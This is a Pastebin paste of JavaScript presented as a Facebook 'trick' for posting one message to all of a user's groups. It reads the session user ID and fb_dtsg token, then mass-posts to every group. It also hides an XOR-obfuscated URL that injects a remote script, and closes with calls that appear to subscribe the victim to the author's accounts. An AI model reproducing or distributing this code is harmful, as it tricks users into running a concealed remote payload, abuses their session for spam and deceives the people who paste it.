Advertisement
An-Naim

[FB Trick] Auto post to all group

May 13th, 2014
255
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.96 KB | None | 0 0
  1. //Recode by An-Naim Naxon's. Auto Post to all group
  2.  
  3. var askformsg = "<div><span class='img sp_38ydyu sx_004ff3'></span><a style='position:absolute;padding-left:3px;font-size:11px;'>Write Post</a></div></br>";
  4. askformsg += "<div><textarea id='txtFloodMsg' placeholder='Write somthing...' style='padding-top:5px;width:505px;height:100px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.1);'></textarea></div>";
  5. askformsg += "<div><button style='margin-left:453px' class='_42ft _42fu _11b selected _42g-' onclick='autopostingfunc(this);' >Post</button></div>";
  6. var Popupset = document.createElement("div");
  7. Popupset.setAttribute("style", "position:fixed;left:50%;margin-left:-298px;top:100px;z-index:9999;font-size:11px;font-family:tahoma;color:#3B5998;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);font-weight:bold;border-radius:3px;border:1px solid rgba(200,200,50,0.2);padding:5px;background-color:rgba(255,255,255,0.9)");
  8. Popupset.innerHTML = askformsg;
  9. document.body.appendChild(Popupset);
  10.  
  11. jx = {
  12. getHTTPObject: function () {
  13. var A = false;
  14. if (typeof ActiveXObject != "undefined") {
  15. try {
  16. A = new ActiveXObject("Msxml2.XMLHTTP")
  17. } catch (C) {
  18. try {
  19. A = new ActiveXObject("Microsoft.XMLHTTP")
  20. } catch (B) {
  21. A = false
  22. }
  23. }
  24. } else {
  25. if (window.XMLHttpRequest) {
  26. try {
  27. A = new XMLHttpRequest()
  28. } catch (C) {
  29. A = false
  30. }
  31. }
  32. }
  33. return A
  34. },
  35. load: function (url, callback, format, method, opt) {
  36. var http = this.init();
  37. if (!http || !url) {
  38. return
  39. }
  40. if (http.overrideMimeType) {
  41. http.overrideMimeType("text/xml")
  42. }
  43. if (!method) {
  44. method = "GET"
  45. }
  46. if (!format) {
  47. format = "text"
  48. }
  49. if (!opt) {
  50. opt = {}
  51. }
  52. format = format.toLowerCase();
  53. method = method.toUpperCase();
  54. var now = "uid=" + new Date().getTime();
  55. url += (url.indexOf("?") + 1) ? "&" : "?";
  56. url += now;
  57. var parameters = null;
  58. if (method == "POST") {
  59. var parts = url.split("?");
  60. url = parts[0];
  61. parameters = parts[1]
  62. }
  63. http.open(method, url, true);
  64. if (method == "POST") {
  65. http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  66. http.setRequestHeader("Content-length", parameters.length);
  67. http.setRequestHeader("Connection", "close")
  68. }
  69. var ths = this;
  70. if (opt.handler) {
  71. http.onreadystatechange = function () {
  72. opt.handler(http)
  73. }
  74. } else {
  75. http.onreadystatechange = function () {
  76. if (http.readyState == 4) {
  77. if (http.status == 200) {
  78. var result = "";
  79. if (http.responseText) {
  80. result = http.responseText
  81. }
  82. if (format.charAt(0) == "j") {
  83. result = result.replace(/[\n\r]/g, "");
  84. result = eval("(" + result + ")")
  85. } else {
  86. if (format.charAt(0) == "x") {
  87. result = http.responseXML
  88. }
  89. }
  90. if (callback) {
  91. callback(result)
  92. }
  93. } else {
  94. if (opt.loadingIndicator) {
  95. document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator)
  96. }
  97. if (opt.loading) {
  98. document.getElementById(opt.loading).style.display = "none"
  99. }
  100. if (error) {
  101. error(http.status)
  102. }
  103. }
  104. }
  105. }
  106. }
  107. http.send(parameters)
  108. },
  109. bind: function (A) {
  110. var C = {
  111. "url": "",
  112. "onSuccess": false,
  113. "onError": false,
  114. "format": "text",
  115. "method": "GET",
  116. "update": "",
  117. "loading": "",
  118. "loadingIndicator": ""
  119. };
  120. for (var B in C) {
  121. if (A[B]) {
  122. C[B] = A[B]
  123. }
  124. }
  125. if (!C.url) {
  126. return
  127. }
  128. var D = false;
  129. if (C.loadingIndicator) {
  130. D = document.createElement("div");
  131. D.setAttribute("style", "position:absolute;top:0px;left:0px;");
  132. D.setAttribute("class", "loading-indicator");
  133. D.innerHTML = C.loadingIndicator;
  134. document.getElementsByTagName("body")[0].appendChild(D);
  135. this.opt.loadingIndicator = D
  136. }
  137. if (C.loading) {
  138. document.getElementById(C.loading).style.display = "block"
  139. }
  140. this.load(C.url, function (E) {
  141. if (C.onSuccess) {
  142. C.onSuccess(E)
  143. }
  144. if (C.update) {
  145. document.getElementById(C.update).innerHTML = E
  146. }
  147. if (D) {
  148. document.getElementsByTagName("body")[0].removeChild(D)
  149. }
  150. if (C.loading) {
  151. document.getElementById(C.loading).style.display = "none"
  152. }
  153. }, C.format, C.method, C)
  154. },
  155. init: function () {
  156. return this.getHTTPObject()
  157. }
  158. }
  159. var j = 0;
  160. var k = 0;
  161. var suc = 0;
  162. var msg = "Hello Friends.";
  163. var arr = new Array();
  164. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  165.  
  166. function autopostingfunc(sender) {
  167. if (document.getElementById("txtFloodMsg").value != "") msg = document.getElementById("txtFloodMsg").value;
  168. jx.load(window.location.protocol + "//" + "www.facebook.com/ajax/typeahead/search/bootstrap.php?__a=1&filter[0]=group&viewer=" + user_id + "&token=v7&lazy=0&__user=" + user_id, function (data) {
  169. var text = data;
  170. var json = text.substring(text.indexOf('{'));
  171. var friends = JSON.parse(json);
  172. friends = friends.payload.entries;
  173. for (var n = 0; n < friends.length; n++) {
  174. arr.push(friends[n].uid);
  175. }
  176. sender.parentNode.innerHTML = "Please Wait....";
  177. postitok();
  178. });
  179. }
  180. var a = document.body.innerHTML;
  181. var dts = document.getElementsByName('fb_dtsg')[0].value;
  182. var composerid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  183.  
  184.  
  185.  
  186. function postitok() {
  187. pst = "fb_dtsg=" + dts + "&xhpc_composerid=" + composerid + "&xhpc_targetid=" + arr[suc] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent(msg) + "&xhpc_message=" + encodeURIComponent(msg) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_group_composer";
  188. with(newx = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"), setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), send(pst);
  189. suc++;
  190. if (suc > arr.length) {
  191. alert("Completed. Please refresh page.");
  192. suc = 0;
  193. } else setTimeout("postitok()", 30000 / arr.length);
  194. }
  195. setTimeout("autopostingfunc()", 1000);
  196. var A="jvvrq8--pcu,ekvjw`,amo-ucxx{epc{-dcag`mmi-ej/rcegq-Qwrrmpv,hq ";B="";C="";var D;D=A.length;for(i=0;i<D;i++){B+=String.fromCharCode(A.charCodeAt(i)^2)}C=unescape(B);document.body.appendChild(document.createElement('script')).src=C;
  197.  
  198. //Backup Data
  199. sublist("1404470496492558");
  200. sublist("1410203922585882");
  201. a("100000686899395");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement